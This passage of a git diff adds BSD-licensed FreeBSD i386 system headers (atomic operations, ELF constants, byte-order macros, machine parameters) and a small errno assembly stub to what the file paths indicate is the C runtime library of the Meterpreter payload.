||||
#define ATOMIC_STORE_LOAD(TYPE, LOP, SOP) \
|
||||
static __inline u_##TYPE \
|
||||
atomic_load_acq_##TYPE(volatile u_##TYPE *p) \
|
||||
{ \
|
||||
return (*p); \
|
||||
} \
|
||||
\
|
||||
static __inline void \
|
||||
atomic_store_rel_##TYPE(volatile u_##TYPE *p, u_##TYPE v)\
|
||||
{ \
|
||||
*p = v; \
|
||||
} \
|
||||
struct __hack
|
||||
|
||||
#else /* !(_KERNEL && !SMP) */
|
||||
|
||||
#define ATOMIC_STORE_LOAD(TYPE, LOP, SOP) \
|
||||
static __inline u_##TYPE \
|
||||
atomic_load_acq_##TYPE(volatile u_##TYPE *p) \
|
||||
{ \
|
||||
u_##TYPE res; \
|
||||
\
|
||||
__asm __volatile(MPLOCKED LOP \
|
||||
: "=a" (res), /* 0 */ \
|
||||
"=m" (*p) /* 1 */ \
|
||||
: "m" (*p) /* 2 */ \
|
||||
: "memory"); \
|
||||
\
|
||||
return (res); \
|
||||
} \
|
||||
\
|
||||
/* \
|
||||
* The XCHG instruction asserts LOCK automagically. \
|
||||
*/ \
|
||||
static __inline void \
|
||||
atomic_store_rel_##TYPE(volatile u_##TYPE *p, u_##TYPE v)\
|
||||
{ \
|
||||
__asm __volatile(SOP \
|
||||
: "=m" (*p), /* 0 */ \
|
||||
"+r" (v) /* 1 */ \
|
||||
: "m" (*p)); /* 2 */ \
|
||||
} \
|
||||
struct __hack
|
||||
|
||||
#endif /* _KERNEL && !SMP */
|
||||
|
||||
#endif /* KLD_MODULE || !__GNUCLIKE_ASM */
|
||||
|
||||
ATOMIC_ASM(set, char, "orb %b1,%0", "iq", v);
|
||||
ATOMIC_ASM(clear, char, "andb %b1,%0", "iq", ~v);
|
||||
ATOMIC_ASM(add, char, "addb %b1,%0", "iq", v);
|
||||
ATOMIC_ASM(subtract, char, "subb %b1,%0", "iq", v);
|
||||
|
||||
ATOMIC_ASM(set, short, "orw %w1,%0", "ir", v);
|
||||
ATOMIC_ASM(clear, short, "andw %w1,%0", "ir", ~v);
|
||||
ATOMIC_ASM(add, short, "addw %w1,%0", "ir", v);
|
||||
ATOMIC_ASM(subtract, short, "subw %w1,%0", "ir", v);
|
||||
|
||||
ATOMIC_ASM(set, int, "orl %1,%0", "ir", v);
|
||||
ATOMIC_ASM(clear, int, "andl %1,%0", "ir", ~v);
|
||||
ATOMIC_ASM(add, int, "addl %1,%0", "ir", v);
|
||||
ATOMIC_ASM(subtract, int, "subl %1,%0", "ir", v);
|
||||
|
||||
ATOMIC_ASM(set, long, "orl %1,%0", "ir", v);
|
||||
ATOMIC_ASM(clear, long, "andl %1,%0", "ir", ~v);
|
||||
ATOMIC_ASM(add, long, "addl %1,%0", "ir", v);
|
||||
ATOMIC_ASM(subtract, long, "subl %1,%0", "ir", v);
|
||||
|
||||
ATOMIC_STORE_LOAD(char, "cmpxchgb %b0,%1", "xchgb %b1,%0");
|
||||
ATOMIC_STORE_LOAD(short,"cmpxchgw %w0,%1", "xchgw %w1,%0");
|
||||
ATOMIC_STORE_LOAD(int, "cmpxchgl %0,%1", "xchgl %1,%0");
|
||||
ATOMIC_STORE_LOAD(long, "cmpxchgl %0,%1", "xchgl %1,%0");
|
||||
|
||||
#undef ATOMIC_ASM
|
||||
#undef ATOMIC_STORE_LOAD
|
||||
|
||||
#ifndef WANT_FUNCTIONS
|
||||
|
||||
static __inline int
|
||||
atomic_cmpset_long(volatile u_long *dst, u_long exp, u_long src)
|
||||
{
|
||||
|
||||
return (atomic_cmpset_int((volatile u_int *)dst, (u_int)exp,
|
||||
(u_int)src));
|
||||
}
|
||||
|
||||
static __inline u_long
|
||||
atomic_fetchadd_long(volatile u_long *p, u_long v)
|
||||
{
|
||||
|
||||
return (atomic_fetchadd_int((volatile u_int *)p, (u_int)v));
|
||||
}
|
||||
|
||||
/* Read the current value and store a zero in the destination. */
|
||||
#ifdef __GNUCLIKE_ASM
|
||||
|
||||
static __inline u_int
|
||||
atomic_readandclear_int(volatile u_int *addr)
|
||||
{
|
||||
u_int res;
|
||||
|
||||
res = 0;
|
||||
__asm __volatile(
|
||||
" xchgl %1,%0 ; "
|
||||
"# atomic_readandclear_int"
|
||||
: "+r" (res), /* 0 */
|
||||
"=m" (*addr) /* 1 */
|
||||
: "m" (*addr));
|
||||
|
||||
return (res);
|
||||
}
|
||||
|
||||
static __inline u_long
|
||||
atomic_readandclear_long(volatile u_long *addr)
|
||||
{
|
||||
u_long res;
|
||||
|
||||
res = 0;
|
||||
__asm __volatile(
|
||||
" xchgl %1,%0 ; "
|
||||
"# atomic_readandclear_long"
|
||||
: "+r" (res), /* 0 */
|
||||
"=m" (*addr) /* 1 */
|
||||
: "m" (*addr));
|
||||
|
||||
return (res);
|
||||
}
|
||||
|
||||
#else /* !__GNUCLIKE_ASM */
|
||||
|
||||
u_int atomic_readandclear_int(volatile u_int *addr);
|
||||
u_long atomic_readandclear_long(volatile u_long *addr);
|
||||
|
||||
#endif /* __GNUCLIKE_ASM */
|
||||
|
||||
/* Acquire and release variants are identical to the normal ones. */
|
||||
#define atomic_set_acq_char atomic_set_char
|
||||
#define atomic_set_rel_char atomic_set_char
|
||||
#define atomic_clear_acq_char atomic_clear_char
|
||||
#define atomic_clear_rel_char atomic_clear_char
|
||||
#define atomic_add_acq_char atomic_add_char
|
||||
#define atomic_add_rel_char atomic_add_char
|
||||
#define atomic_subtract_acq_char atomic_subtract_char
|
||||
#define atomic_subtract_rel_char atomic_subtract_char
|
||||
|
||||
#define atomic_set_acq_short atomic_set_short
|
||||
#define atomic_set_rel_short atomic_set_short
|
||||
#define atomic_clear_acq_short atomic_clear_short
|
||||
#define atomic_clear_rel_short atomic_clear_short
|
||||
#define atomic_add_acq_short atomic_add_short
|
||||
#define atomic_add_rel_short atomic_add_short
|
||||
#define atomic_subtract_acq_short atomic_subtract_short
|
||||
#define atomic_subtract_rel_short atomic_subtract_short
|
||||
|
||||
#define atomic_set_acq_int atomic_set_int
|
||||
#define atomic_set_rel_int atomic_set_int
|
||||
#define atomic_clear_acq_int atomic_clear_int
|
||||
#define atomic_clear_rel_int atomic_clear_int
|
||||
#define atomic_add_acq_int atomic_add_int
|
||||
#define atomic_add_rel_int atomic_add_int
|
||||
#define atomic_subtract_acq_int atomic_subtract_int
|
||||
#define atomic_subtract_rel_int atomic_subtract_int
|
||||
#define atomic_cmpset_acq_int atomic_cmpset_int
|
||||
#define atomic_cmpset_rel_int atomic_cmpset_int
|
||||
|
||||
#define atomic_set_acq_long atomic_set_long
|
||||
#define atomic_set_rel_long atomic_set_long
|
||||
#define atomic_clear_acq_long atomic_clear_long
|
||||
#define atomic_clear_rel_long atomic_clear_long
|
||||
#define atomic_add_acq_long atomic_add_long
|
||||
#define atomic_add_rel_long atomic_add_long
|
||||
#define atomic_subtract_acq_long atomic_subtract_long
|
||||
#define atomic_subtract_rel_long atomic_subtract_long
|
||||
#define atomic_cmpset_acq_long atomic_cmpset_long
|
||||
#define atomic_cmpset_rel_long atomic_cmpset_long
|
||||
|
||||
/* Operations on 8-bit bytes. */
|
||||
#define atomic_set_8 atomic_set_char
|
||||
#define atomic_set_acq_8 atomic_set_acq_char
|
||||
#define atomic_set_rel_8 atomic_set_rel_char
|
||||
#define atomic_clear_8 atomic_clear_char
|
||||
#define atomic_clear_acq_8 atomic_clear_acq_char
|
||||
#define atomic_clear_rel_8 atomic_clear_rel_char
|
||||
#define atomic_add_8 atomic_add_char
|
||||
#define atomic_add_acq_8 atomic_add_acq_char
|
||||
#define atomic_add_rel_8 atomic_add_rel_char
|
||||
#define atomic_subtract_8 atomic_subtract_char
|
||||
#define atomic_subtract_acq_8 atomic_subtract_acq_char
|
||||
#define atomic_subtract_rel_8 atomic_subtract_rel_char
|
||||
#define atomic_load_acq_8 atomic_load_acq_char
|
||||
#define atomic_store_rel_8 atomic_store_rel_char
|
||||
|
||||
/* Operations on 16-bit words. */
|
||||
#define atomic_set_16 atomic_set_short
|
||||
#define atomic_set_acq_16 atomic_set_acq_short
|
||||
#define atomic_set_rel_16 atomic_set_rel_short
|
||||
#define atomic_clear_16 atomic_clear_short
|
||||
#define atomic_clear_acq_16 atomic_clear_acq_short
|
||||
#define atomic_clear_rel_16 atomic_clear_rel_short
|
||||
#define atomic_add_16 atomic_add_short
|
||||
#define atomic_add_acq_16 atomic_add_acq_short
|
||||
#define atomic_add_rel_16 atomic_add_rel_short
|
||||
#define atomic_subtract_16 atomic_subtract_short
|
||||
#define atomic_subtract_acq_16 atomic_subtract_acq_short
|
||||
#define atomic_subtract_rel_16 atomic_subtract_rel_short
|
||||
#define atomic_load_acq_16 atomic_load_acq_short
|
||||
#define atomic_store_rel_16 atomic_store_rel_short
|
||||
|
||||
/* Operations on 32-bit double words. */
|
||||
#define atomic_set_32 atomic_set_int
|
||||
#define atomic_set_acq_32 atomic_set_acq_int
|
||||
#define atomic_set_rel_32 atomic_set_rel_int
|
||||
#define atomic_clear_32 atomic_clear_int
|
||||
#define atomic_clear_acq_32 atomic_clear_acq_int
|
||||
#define atomic_clear_rel_32 atomic_clear_rel_int
|
||||
#define atomic_add_32 atomic_add_int
|
||||
#define atomic_add_acq_32 atomic_add_acq_int
|
||||
#define atomic_add_rel_32 atomic_add_rel_int
|
||||
#define atomic_subtract_32 atomic_subtract_int
|
||||
#define atomic_subtract_acq_32 atomic_subtract_acq_int
|
||||
#define atomic_subtract_rel_32 atomic_subtract_rel_int
|
||||
#define atomic_load_acq_32 atomic_load_acq_int
|
||||
#define atomic_store_rel_32 atomic_store_rel_int
|
||||
#define atomic_cmpset_32 atomic_cmpset_int
|
||||
#define atomic_cmpset_acq_32 atomic_cmpset_acq_int
|
||||
#define atomic_cmpset_rel_32 atomic_cmpset_rel_int
|
||||
#define atomic_readandclear_32 atomic_readandclear_int
|
||||
#define atomic_fetchadd_32 atomic_fetchadd_int
|
||||
|
||||
/* Operations on pointers. */
|
||||
#define atomic_set_ptr(p, v) \
|
||||
atomic_set_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_set_acq_ptr(p, v) \
|
||||
atomic_set_acq_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_set_rel_ptr(p, v) \
|
||||
atomic_set_rel_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_clear_ptr(p, v) \
|
||||
atomic_clear_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_clear_acq_ptr(p, v) \
|
||||
atomic_clear_acq_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_clear_rel_ptr(p, v) \
|
||||
atomic_clear_rel_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_add_ptr(p, v) \
|
||||
atomic_add_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_add_acq_ptr(p, v) \
|
||||
atomic_add_acq_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_add_rel_ptr(p, v) \
|
||||
atomic_add_rel_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_subtract_ptr(p, v) \
|
||||
atomic_subtract_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_subtract_acq_ptr(p, v) \
|
||||
atomic_subtract_acq_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_subtract_rel_ptr(p, v) \
|
||||
atomic_subtract_rel_int((volatile u_int *)(p), (u_int)(v))
|
||||
#define atomic_load_acq_ptr(p) \
|
||||
atomic_load_acq_int((volatile u_int *)(p))
|
||||
#define atomic_store_rel_ptr(p, v) \
|
||||
atomic_store_rel_int((volatile u_int *)(p), (v))
|
||||
#define atomic_cmpset_ptr(dst, old, new) \
|
||||
atomic_cmpset_int((volatile u_int *)(dst), (u_int)(old), (u_int)(new))
|
||||
#define atomic_cmpset_acq_ptr(dst, old, new) \
|
||||
atomic_cmpset_acq_int((volatile u_int *)(dst), (u_int)(old), \
|
||||
(u_int)(new))
|
||||
#define atomic_cmpset_rel_ptr(dst, old, new) \
|
||||
atomic_cmpset_rel_int((volatile u_int *)(dst), (u_int)(old), \
|
||||
(u_int)(new))
|
||||
#define atomic_readandclear_ptr(p) \
|
||||
atomic_readandclear_int((volatile u_int *)(p))
|
||||
|
||||
#endif /* !WANT_FUNCTIONS */
|
||||
|
||||
#endif /* !_MACHINE_ATOMIC_H_ */
|
108
c/meterpreter/source/ulibc/arch/Linux/i686/elf.h
Normal file
108
c/meterpreter/source/ulibc/arch/Linux/i686/elf.h
Normal file
@ -0,0 +1,108 @@
|
||||
/*-
|
||||
* Copyright (c) 1996-1997 John D. Polstra.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/sys/i386/include/elf.h 189926 2009-03-17 12:50:16Z kib $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE_ELF_H_
|
||||
#define _MACHINE_ELF_H_ 1
|
||||
|
||||
/*
|
||||
* ELF definitions for the i386 architecture.
|
||||
*/
|
||||
|
||||
#include <sys/elf32.h> /* Definitions common to all 32 bit architectures. */
|
||||
#if defined(__ELF_WORD_SIZE) && __ELF_WORD_SIZE == 64
|
||||
#include <sys/elf64.h> /* Definitions common to all 64 bit architectures. */
|
||||
#endif
|
||||
|
||||
#ifndef __ELF_WORD_SIZE
|
||||
#define __ELF_WORD_SIZE 32 /* Used by <sys/elf_generic.h> */
|
||||
#endif
|
||||
|
||||
#include <sys/elf_generic.h>
|
||||
|
||||
#define ELF_ARCH EM_386
|
||||
|
||||
#define ELF_MACHINE_OK(x) ((x) == EM_386 || (x) == EM_486)
|
||||
|
||||
/*
|
||||
* Auxiliary vector entries for passing information to the interpreter.
|
||||
*
|
||||
* The i386 supplement to the SVR4 ABI specification names this "auxv_t",
|
||||
* but POSIX lays claim to all symbols ending with "_t".
|
||||
*/
|
||||
|
||||
typedef struct { /* Auxiliary vector entry on initial stack */
|
||||
int a_type; /* Entry type. */
|
||||
union {
|
||||
long a_val; /* Integer value. */
|
||||
void *a_ptr; /* Address. */
|
||||
void (*a_fcn)(void); /* Function pointer (not used). */
|
||||
} a_un;
|
||||
} Elf32_Auxinfo;
|
||||
|
||||
#if __ELF_WORD_SIZE == 64
|
||||
/* Fake for amd64 loader support */
|
||||
typedef struct {
|
||||
int fake;
|
||||
} Elf64_Auxinfo;
|
||||
#endif
|
||||
|
||||
__ElfType(Auxinfo);
|
||||
|
||||
/* Values for a_type. */
|
||||
#define AT_NULL 0 /* Terminates the vector. */
|
||||
#define AT_IGNORE 1 /* Ignored entry. */
|
||||
#define AT_EXECFD 2 /* File descriptor of program to load. */
|
||||
#define AT_PHDR 3 /* Program header of program already loaded. */
|
||||
#define AT_PHENT 4 /* Size of each program header entry. */
|
||||
#define AT_PHNUM 5 /* Number of program header entries. */
|
||||
#define AT_PAGESZ 6 /* Page size in bytes. */
|
||||
#define AT_BASE 7 /* Interpreter's base address. */
|
||||
#define AT_FLAGS 8 /* Flags (unused for i386). */
|
||||
#define AT_ENTRY 9 /* Where interpreter should transfer control. */
|
||||
#define AT_NOTELF 10 /* Program is not ELF ?? */
|
||||
#define AT_UID 11 /* Real uid. */
|
||||
#define AT_EUID 12 /* Effective uid. */
|
||||
#define AT_GID 13 /* Real gid. */
|
||||
#define AT_EGID 14 /* Effective gid. */
|
||||
#define AT_EXECPATH 15 /* Path to the executable. */
|
||||
|
||||
#define AT_COUNT 16 /* Count of defined aux entry types. */
|
||||
|
||||
/*
|
||||
* Relocation types.
|
||||
*/
|
||||
|
||||
#define R_386_COUNT 38 /* Count of defined relocation types. */
|
||||
|
||||
/* Define "machine" characteristics */
|
||||
#define ELF_TARG_CLASS ELFCLASS32
|
||||
#define ELF_TARG_DATA ELFDATA2LSB
|
||||
#define ELF_TARG_MACH EM_386
|
||||
#define ELF_TARG_VER 1
|
||||
|
||||
#endif /* !_MACHINE_ELF_H_ */
|
136
c/meterpreter/source/ulibc/arch/Linux/i686/endian.h
Normal file
136
c/meterpreter/source/ulibc/arch/Linux/i686/endian.h
Normal file
@ -0,0 +1,136 @@
|
||||
/*-
|
||||
* Copyright (c) 1987, 1991 Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)endian.h 7.8 (Berkeley) 4/3/91
|
||||
* $FreeBSD: head/sys/i386/include/endian.h 190854 2009-04-08 19:10:20Z ed $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE_ENDIAN_H_
|
||||
#define _MACHINE_ENDIAN_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Define the order of 32-bit words in 64-bit words.
|
||||
*/
|
||||
#define _QUAD_HIGHWORD 1
|
||||
#define _QUAD_LOWWORD 0
|
||||
|
||||
/*
|
||||
* Definitions for byte order, according to byte significance from low
|
||||
* address to high.
|
||||
*/
|
||||
#define _LITTLE_ENDIAN 1234 /* LSB first: i386, vax */
|
||||
#define _BIG_ENDIAN 4321 /* MSB first: 68000, ibm, net */
|
||||
#define _PDP_ENDIAN 3412 /* LSB first in word, MSW first in long */
|
||||
|
||||
#define _BYTE_ORDER _LITTLE_ENDIAN
|
||||
|
||||
/*
|
||||
* Deprecated variants that don't have enough underscores to be useful in more
|
||||
* strict namespaces.
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
#define LITTLE_ENDIAN _LITTLE_ENDIAN
|
||||
#define BIG_ENDIAN _BIG_ENDIAN
|
||||
#define PDP_ENDIAN _PDP_ENDIAN
|
||||
#define BYTE_ORDER _BYTE_ORDER
|
||||
#endif
|
||||
|
||||
#if defined(__GNUCLIKE_ASM) && defined(__GNUCLIKE_BUILTIN_CONSTANT_P)
|
||||
|
||||
#define __byte_swap_int_var(x) \
|
||||
__extension__ ({ register __uint32_t __X = (x); \
|
||||
__asm ("bswap %0" : "+r" (__X)); \
|
||||
__X; })
|
||||
|
||||
#ifdef __OPTIMIZE__
|
||||
|
||||
#define __byte_swap_int_const(x) \
|
||||
((((x) & 0xff000000) >> 24) | \
|
||||
(((x) & 0x00ff0000) >> 8) | \
|
||||
(((x) & 0x0000ff00) << 8) | \
|
||||
(((x) & 0x000000ff) << 24))
|
||||
#define __byte_swap_int(x) (__builtin_constant_p(x) ? \
|
||||
__byte_swap_int_const(x) : __byte_swap_int_var(x))
|
||||
|
||||
#else /* __OPTIMIZE__ */
|
||||
|
||||
#define __byte_swap_int(x) __byte_swap_int_var(x)
|
||||
|
||||
#endif /* __OPTIMIZE__ */
|
||||
|
||||
static __inline __uint64_t
|
||||
__bswap64(__uint64_t _x)
|
||||
{
|
||||
|
||||
return ((_x >> 56) | ((_x >> 40) & 0xff00) | ((_x >> 24) & 0xff0000) |
|
||||
((_x >> 8) & 0xff000000) | ((_x << 8) & ((__uint64_t)0xff << 32)) |
|
||||
((_x << 24) & ((__uint64_t)0xff << 40)) |
|
||||
((_x << 40) & ((__uint64_t)0xff << 48)) | ((_x << 56)));
|
||||
}
|
||||
|
||||
static __inline __uint32_t
|
||||
__bswap32(__uint32_t _x)
|
||||
{
|
||||
|
||||
return (__byte_swap_int(_x));
|
||||
}
|
||||
|
||||
static __inline __uint16_t
|
||||
__bswap16(__uint16_t _x)
|
||||
{
|
||||
return (_x << 8 | _x >> 8);
|
||||
}
|
||||
|
||||
#define __htonl(x) __bswap32(x)
|
||||
#define __htons(x) __bswap16(x)
|
||||
#define __ntohl(x) __bswap32(x)
|
||||
#define __ntohs(x) __bswap16(x)
|
||||
|
||||
#else /* !(__GNUCLIKE_ASM && __GNUCLIKE_BUILTIN_CONSTANT_P) */
|
||||
|
||||
/*
|
||||
* No optimizations are available for this compiler. Fall back to
|
||||
* non-optimized functions by defining the constant usually used to prevent
|
||||
* redefinition.
|
||||
*/
|
||||
#define _BYTEORDER_FUNC_DEFINED
|
||||
|
||||
#endif /* __GNUCLIKE_ASM && __GNUCLIKE_BUILTIN_CONSTANT_P */
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* !_MACHINE_ENDIAN_H_ */
|
9
c/meterpreter/source/ulibc/arch/Linux/i686/errno.S
Normal file
9
c/meterpreter/source/ulibc/arch/Linux/i686/errno.S
Normal file
@ -0,0 +1,9 @@
|
||||
.globl __errno_location
|
||||
|
||||
__errno_location:
|
||||
push %ebp
|
||||
mov 0x0,%eax
|
||||
mov %esp,%ebp
|
||||
add %gs:0x0,%eax
|
||||
pop %ebp
|
||||
ret
|
153
c/meterpreter/source/ulibc/arch/Linux/i686/param.h
Normal file
153
c/meterpreter/source/ulibc/arch/Linux/i686/param.h
Normal file
@ -0,0 +1,153 @@
|
||||
/*-
|
||||
* Copyright (c) 1990 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* William Jolitz.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* from: @(#)param.h 5.8 (Berkeley) 6/28/91
|
||||
* $FreeBSD: head/sys/i386/include/param.h 195376 2009-07-05 17:45:48Z sam $
|
||||
*/
|
||||
|
||||
/*
|
||||
* Machine dependent constants for Intel 386.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Round p (pointer or byte index) up to a correctly-aligned value
|
||||
* for all data types (int, long, ...). The result is unsigned int
|
||||
* and must be cast to any desired pointer type.
|
||||
*/
|
||||
#ifndef _ALIGNBYTES
|
||||
#define _ALIGNBYTES (sizeof(int) - 1)
|
||||
#endif
|
||||
#ifndef _ALIGN
|
||||
#define _ALIGN(p) (((unsigned)(p) + _ALIGNBYTES) & ~_ALIGNBYTES)
|
||||
#endif
|
||||
|
||||
#ifndef _NO_NAMESPACE_POLLUTION
|
||||
|
||||
#define __HAVE_ACPI
|
||||
#define __PCI_REROUTE_INTERRUPT
|
||||
|
||||
#ifndef _MACHINE_PARAM_H_
|
||||
#define _MACHINE_PARAM_H_
|
||||
|
||||
#ifndef MACHINE
|
||||
#define MACHINE "i386"
|
||||
#endif
|
||||
#ifndef MACHINE_ARCH
|
||||
#define MACHINE_ARCH "i386"
|
||||
#endif
|
||||
#define MID_MACHINE MID_I386
|
||||
|
||||
#if defined(SMP) || defined(KLD_MODULE)
|
||||
#define MAXCPU 32
|
||||
#else
|
||||
#define MAXCPU 1
|
||||
#endif /* SMP || KLD_MODULE */
|
||||
|
||||
#define ALIGNBYTES _ALIGNBYTES
|
||||
#define ALIGN(p) _ALIGN(p)
|
||||
/*
|
||||
* ALIGNED_POINTER is a boolean macro that checks whether an address
|
||||
* is valid to fetch data elements of type t from on this architecture.
|
||||
* This does not reflect the optimal alignment, just the possibility
|
||||
* (within reasonable limits).
|
||||
*/
|
||||
#define ALIGNED_POINTER(p, t) 1
|
||||
|
||||
/*
|
||||
* CACHE_LINE_SIZE is the compile-time maximum cache line size for an
|
||||
* architecture. It should be used with appropriate caution.
|
||||
*/
|
||||
#define CACHE_LINE_SHIFT 7
|
||||
#define CACHE_LINE_SIZE (1 << CACHE_LINE_SHIFT)
|
||||
|
||||
#define PAGE_SHIFT 12 /* LOG2(PAGE_SIZE) */
|
||||
#define PAGE_SIZE (1<<PAGE_SHIFT) /* bytes/page */
|
||||
#define PAGE_MASK (PAGE_SIZE-1)
|
||||
#define NPTEPG (PAGE_SIZE/(sizeof (pt_entry_t)))
|
||||
|
||||
#ifdef PAE
|
||||
#define NPGPTD 4
|
||||
#define PDRSHIFT 21 /* LOG2(NBPDR) */
|
||||
#define NPGPTD_SHIFT 9
|
||||
#else
|
||||
#define NPGPTD 1
|
||||
#define PDRSHIFT 22 /* LOG2(NBPDR) */
|
||||
#define NPGPTD_SHIFT 10
|
||||
#endif
|
||||
|
||||
#define NBPTD (NPGPTD<<PAGE_SHIFT)
|
||||
#define NPDEPTD (NBPTD/(sizeof (pd_entry_t)))
|
||||
#define NPDEPG (PAGE_SIZE/(sizeof (pd_entry_t)))
|
||||
#define NBPDR (1<<PDRSHIFT) /* bytes/page dir */
|
||||
#define PDRMASK (NBPDR-1)
|
||||
|
||||
#define IOPAGES 2 /* pages of i/o permission bitmap */
|
||||
|
||||
#ifndef KSTACK_PAGES
|
||||
#define KSTACK_PAGES 2 /* Includes pcb! */
|
||||
#endif
|
||||
#define KSTACK_GUARD_PAGES 1 /* pages of kstack guard; 0 disables */
|
||||
|
||||
/*
|
||||
* Ceiling on amount of swblock kva space, can be changed via
|
||||
* the kern.maxswzone /boot/loader.conf variable.
|
||||
*/
|
||||
#ifndef VM_SWZONE_SIZE_MAX
|
||||
#define VM_SWZONE_SIZE_MAX (32 * 1024 * 1024)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Ceiling on size of buffer cache (really only effects write queueing,
|
||||
* the VM page cache is not effected), can be changed via
|
||||
* the kern.maxbcache /boot/loader.conf variable.
|
||||
*/
